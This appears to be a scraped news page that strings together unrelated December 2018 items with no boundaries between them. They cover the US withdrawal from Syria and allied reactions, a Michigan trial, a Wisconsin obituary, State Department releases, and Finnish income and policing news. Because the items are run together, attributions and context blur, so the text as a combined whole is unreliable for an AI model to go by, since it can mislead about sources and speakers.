American troops in Syria (: AP) Jerusalem is also worried, with good reason. Netanyahu managed to prevent any Israeli intervention in the Syrian civil war, relying heavily on the American presence to ensure our interests. But now it seems that Netanyahu could've been wrong: Syria is being divvied up between our bitterest enemies. They are sitting around the table and cutting the Syrian cakeand there is no one there to ensure Israel's interests. One can only pray that changes are being made beneath the surface in this wild part of the world, perhaps in establishing new strategic alliances that might help Israel defend itself in the future. After all, today's enemies can still become our friends tomorrow. US President Donald Trump on Thursday defended his surprise decision to declare victory over Islamic State militants in Syria and completely withdraw US troops from the country, amid criticism from some Republicans and concern from allies and some US military commanders. Follow Ynetnews on Facebook STRONG> and Twitter In early morning tweets, Trump said he was fulfilling a promise from his 2016 presidential campaign to leave Syria. Echoing a central plank of his foreign policy - that he seeks to stop the United States being taken advantage of - he said the United States was doing the work of other countries, including Russia and Iran, with little in return. "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever? Time for others to finally fight," he tweeted. US President Donald Trump at the White House (Photo: MCT) The United States is also ending its air campaign against the militants in Syria, US officials told Reuters on Thursday. Trump had pledged to withdraw from Syria if elected, but the abrupt announcement on Wednesday to withdraw the roughly 2,000 US troops from Syria caught US lawmakers and others by surprise. The White House declined to offer a timeline for the departure. Some of Trump's fellow Republicans strongly criticized the move, saying they were not briefed ahead of time and that the move strengthened the hand of Russia and Iran, which both support Syrian President Bashar al Assad. US officials, speaking on condition of anonymity, have told Reuters that US commanders on the ground are also concerned about the impact of a quick withdrawal and were surprised by the decision. Trump's move also drew criticism from some US allies, including Britain and France, which said Islamic State militants had not been defeated and that its troops would remain in Syria. The void left by the US withdrawal could undermine diplomatic efforts to end Syria's eight-year civil war and undercut the United States' leverage in the region as well as leave it few options if Islamic State surges again. "ISIS hits us they are doomed!" Trump tweeted, using an acronym for Islamic State. US troops in Syria (Photo: AFP) (Photo: AFP) Islamic State, which declared its so-called caliphate in 2014 after seizing large areas of Syria and Iraq, was down to its last 1 percent of the territory it once held in Syria and has no territory in Iraq, a senior US official last week. But US officials have warned that retaking territory is not the same as defeating the militants. In a campaign to defeat the group in Syria, former President Barack Obama ordered air strikes from September 2014 and then troops into the country the following year. Some US lawmakers, including some Democrats, backed Wednesday's announced withdrawal but said Congress needed to play a larger role in overseeing such military operations. Russian President Vladimir Putin on Thursday welcomed Trump's decision and said he largely agreed that Islamic State had been defeated. Trump, however, said Russia - as well as Iran and Syria - were unhappy about the US withdrawal "because now they will have to fight ISIS and others, who they hate, without us." Democratic US Senator Chris Murphy said Trump's statements appeared in conflict: "Wait a minute... I thought we defeated ISIS. Why would Russia, Iran and Syria have to fight them if they are defeated?" he tweeted in reply to Trump. The IDF began sealing Hezbollah tunnels on the Israeli-Lebanese border on Thursday. Prime Minister Benjamin Netanyahu referred to Operation Northern Shield earlier on Thursday during a meeting with the president of Cyprus and the Greek prime minister "Israel continues its operation against Hezbollah's terrorist tunnels and will continue to do so until it reaches its goal. At this very moment, we are working to neutralize these tunnels," the premier said. PARISFrance will keep troops in northern Syria for now because Islamic State militants have not been wiped out, contrary to the US view, and has started talks with the United States on the conditions and calendar of its withdrawal, officials said. France is a leading member of the US-led coalition fighting militants in Syria and Iraq and has around 1,000 troops including special forces based in the north of the country, deployed alongside local Kurdish and Arab forces. French diplomats told Reuters on Wednesday President Donald Trump's decision to withdraw all 2,000 US troops from the region had taken Paris by surprise. US officials justified the decision by saying Islamic State had been defeated. "It shows that we can have different priorities and that we must count on ourselves first," Europe Minister Nathalie Loiseau told C-News television. "For now, of course we are staying in Syria because the fight against Islamic State is essential." France is especially sensitive to the Islamic State threat after several major deadly attacks on its soil and officials believe the militant group continues to pose a threat. Hundreds of French nationals have joined the group in Syria. In a statement, the foreign ministry said Paris and its coalition allies had started talks with Washington on the timeframe and conditions for the US withdrawal. "The protection of the populations of northeastern Syria and the stability of this zone must be taken into account by the United States to avoid any new humanitarian drama and any return of the terrorists," it said. German police have massively boosted security at Stuttgart Airport, a police spokesman in the southern city said on Thursday, declining to comment on media reports that Islamist suspects were spotted at the facility. "I can neither deny nor confirm what has been reported in the media," the spokesman said when asked about reports that individuals were seen acting suspiciously at the airport. Police in Stuttgart have informed other major airports in Germany about the incident, the spokesman added. By JAN TUCKER [email protected] ONTONAGON An Ontonagon County jury in Circuit Court Wednesday convicted an Iowa man of seven felonies in an incident which occurred in mid January 2018. Paul Smith, 26, was convicted of one count illegal entry, one count of home invasion, and counts of possession of a weapon (metallic knuckles), receiving and concealing property (a vehicle), lying to a police officer, use of methamphetamine, and leaving lawful custody. The incident began when a car was found stuck in a ditch in Stannard Township. Police discovered the car was stolen from another state... CAREY, Wis. - Robert Lloyd "Bobbie" Eilo, 84, of Carey, died at his home on Dec. 16, 2018. Bob was born in Mellen, the fifth of nine children of Sulo and Pearl (Peterson) Eilo. Raised in Iron Belt, he graduated from Iron Belt High School with the class of 1952. He enlisted in the U.S. Army in 1957, joining the Company A, 1st Battalion, 87th Infantry, returning stateside after serving overseas in Germany. He proudly remained in the Army Reserve until his honorable discharge in 1962. Bob began work with the Wisconsin Conservation Department in 1956 as a tower man at Pleasant Lake Tower in Upson, and ended his career with the Wisconsin Department of Natural Resources as a mechanic after 33 years of dedicated service, most of it at the Trout Lake Forestry Headquarters in Boulder Junction. Bob was skilled in many ways and was fortunate to be able to continue many of his hobbies until the time of death. Bob was a quiet, gentle, unassuming family man. He married Carol (Gustafson) Peterson on Sept. 1, 1962. They celebrated 49 years of marriage before she preceded him in death on Dec. 3, 2011. He was also preceded in death by two great-grandchildren, Morgan Marie and Gage Christopher Gerard. "Bapa" as we lovingly called him, is survived by three daughters, Debbie (Jim) Gerry of Hurley, Dawn Pelkowski of Mercer, and Deanna (Randy) Huybrecht of Winchester; six grandchildren, Anna (Chris) Gerard of Greer, S.C., Donald Pelkowski (Sara) of Mercer, Alysia Pelkowski of Milwaukee, Ryan Eilo of Montreal, Lucas Huybrecht of Madison and Adeline Huybrecht of Winchester; five great-grandchildren, Hunter, Parker, Natalie, Hadleigh and Everly; as well as his best friend, Buddy. He is further survived by one brother, Wendell Eilo of Hurley; and numerous nieces, nephews and other relatives and friends. Out of respect for Bob's wishes, cremation has taken place. Private family services will be held at a later date. Bob was always willing to lend a hand or assist with a project, when Carol's "Honey Do List" allowed or the Green Bay Packers were not playing. He was a skilled carpenter and woodcrafter by hobby and more than a competent mechanic, even spending an occasional family vacation under the hood of the family truck in a distant parking lot making repairs. If he couldn't find what he needed, he would build it. He was a Finlander, through and through, and his "sisu" enabled him to live life on his terms until his last breath. Bapa will be sadly missed. McKevitt-Patrick Funeral Home, Ironwood, is assisting the family. For more information or to give online condolences, please visit rangefuneralservices.com. News Washington, DC - The Department is publicly designating Goran Radosavljevic of Serbia under Section 7031(c) of the FY 2018 Department of State, Foreign Operations, and Related Programs Act, due to his involvement in gross violations of human rights. Section 7031(c) provides that, in cases where the Secretary of State has credible information that foreign officials have been involved in significant corruption or a gross violation of human rights, those individuals and their immediate family members are ineligible for entry into the United States. Radsosavljevic was credibly implicated in the 1999 murder of the Bytyqi brothers, three Albanian-American brothers killed in Serbia after the Kosovo War. The law also requires the Secretary of State to publicly or privately designate such officials and their family members. In addition to the designation of Mr. Radosavljevic, the Department is also publicly designating Mr. Radosavljevics spouse, Svetlana Radosavljevic, and his daughter, Ana Radosavljevic. News Washington, DC - Secretary Michael R. Pompeo met with Foreign Minister Pradeep Gyawali of Nepal today in Washington. Secretary Pompeo highlighted the enduring strength of the U.S.-Nepal partnership and the close people-to-people ties that form the foundation of the relationship. The two leaders discussed Nepals $500 million Millennium Challenge Corporation compact; Nepals central role in a free, open, and prosperous Indo-Pacific; and global issues, including North Korea. The Secretary noted that todays historic meeting demonstrates the U.S. commitment to its strong partnership with Nepal. He emphasized the great potential for the further development of U.S.-Nepal ties. News Norfolk, Virginia - Sailors and Marines attached to the Wasp-class amphibious assault ship USS Kearsarge (LHD 3) and components of the 22nd Marine Expeditionary Unit (MEU) deployed December 17. Kearsarge is the flagship of the Kearsarge amphibious ready group, which consists of Amphibious Squadron 6, the 22nd MEU, the San Antonio-class amphibious transport dock ship USS Arlington (LPD 24), the Whidbey Island-class amphibious dock landing ship USS Fort McHenry (LSD 43), as well as Kearsarge. Kearsarges commanding officer, Capt. Jason Rimmer, said he is confident the ARG is ready to take on the deployments challenges. "Kearsarge has spent the last four months focused on combat readiness and tactical skills, said Rimmer. The Kearsarge crew performed across all areas during a number of underway rehearsals and cemented their reputation as who a team that demonstrates the utmost in integrity, trust and grit. Although each of us will bid a sentimental farewell to family and friends, we sail with a confidence built on proficiency and stand ready to take the watch, maintain freedom of the seas and deter aggression." Our directory features more than 18 million business listings from across the entire US. However, if we're missing your business, add your business by clicking on Add Your Business. Paavo Arhinmaki, an ex-chairperson of the Left Alliance, says income differences increased more than expected. Statistics Finland has reported that real income increased for households in every income decile in Finland in 2017. The increases, however, were noticeably greater for the highest-income households than for low- and middle-income households, resulting in a widening of income differences. Arhinmaki on Tuesday highlighted in his blog that differences in the so-called factor income were larger last year than ever before on record. Statistics Finland defines factor income as property income, entrepreneurial income and wages or salaries earned by households for participation in production activities. Income distribution statistics for last year show that the calculations commissioned by left-wing opposition parties are accurate, perhaps too much so. Income differences have grown substantially. Even more than we expected or feared, he wrote. The Left Alliance, he said, has spoken extensively about income equality and called for measures to mitigate earnings inequality specifically due to the differences in factor income. Statistics Finland on Tuesday revealed that the earnings of households in the highest income decile rose by 4.4 per cent year-on-year in 2017. The earnings of households in the fifth and sixth income decile, in turn, grew by 1.3 per cent and those of households in the four lowest income deciles by 1.2 per cent, despite a 2.2 per cent increase in the earnings of the lowest income decile. The statistical institution estimated that in recent years the growth in factor income differences has been attributable to increasingly unequal distribution of income among the population at large, although last year the growth was attributable to property income. Arhinmaki accused the government of targeting its belt-tightening measures at low-income households while bragging about no longer having to run up debt. The government will drive many low-income people into debt hell this and next year, while it continues to issue warnings about the perils of debt. The personal debt of an individual is by nature completely different to central government debt, he stated. Aleksi Teivainen HT Source: Uusi Suomi The National Police Board on Wednesday said Poti will provide a centralised system for recording and planning action based on information that can be collected, stored and processed before the launch of a pre-trial investigation. The Police of Finland has begun the implementation of a new information and intelligence system called Poti. The system has been designed to help to intervene in crimes such as the terrorist stabbings that took place in Turku in August 2017, according to the National Police Board. Poti will also facilitate the exchange of information and intelligence between the Police of Finland, Finnish Customs, Finnish Border Guard and Finnish Defence Forces. Deputy National Police Commissioner Sanna Heikinheimo said the system will thus make it possible to identify various criminal activities, tacit signals and disturbing people and phenomena more effectively. We havent had a system like this to offer to police officers before, she commented in a news conference in Helsinki on Wednesday. Assistant Police Commissioner Juha Suominen explained that the new system will enable police to detect threats considerably earlier than before by ensuring all information is available in a centralised location. Previously, he added, various signals such as tip-offs and observations had been scattered across the databases of different police units. The example used in the news conference was the terrorist attack in Turku. The knife-man had stirred up concerns among many before the attack, but the tip-offs received by authorities were not strong enough to result in an intervention. Suominen was asked whether he believes the system could have prevented the attack. Hopefully we couldve [prevented it]. This will definitely at least improve our capability to identify such people, he replied. Aleksi Teivainen HT Source: Uusi Suomi